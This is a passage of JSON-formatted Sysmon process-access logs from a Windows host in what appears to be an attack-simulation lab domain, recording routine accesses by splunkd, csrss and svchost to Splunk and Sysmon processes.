Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5902,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4178-5F2D-0000-001055D40800}\r\nTargetProcessId: 1600\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4178-5F2D-0000-001055D40800}","TargetProcessId":"1600","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5903,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4178-5F2D-0000-001055D40800}\r\nTargetProcessId: 1600\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4178-5F2D-0000-001055D40800}","TargetProcessId":"1600","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5904,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5905,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5906,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5907,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5908,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5909,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5910,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 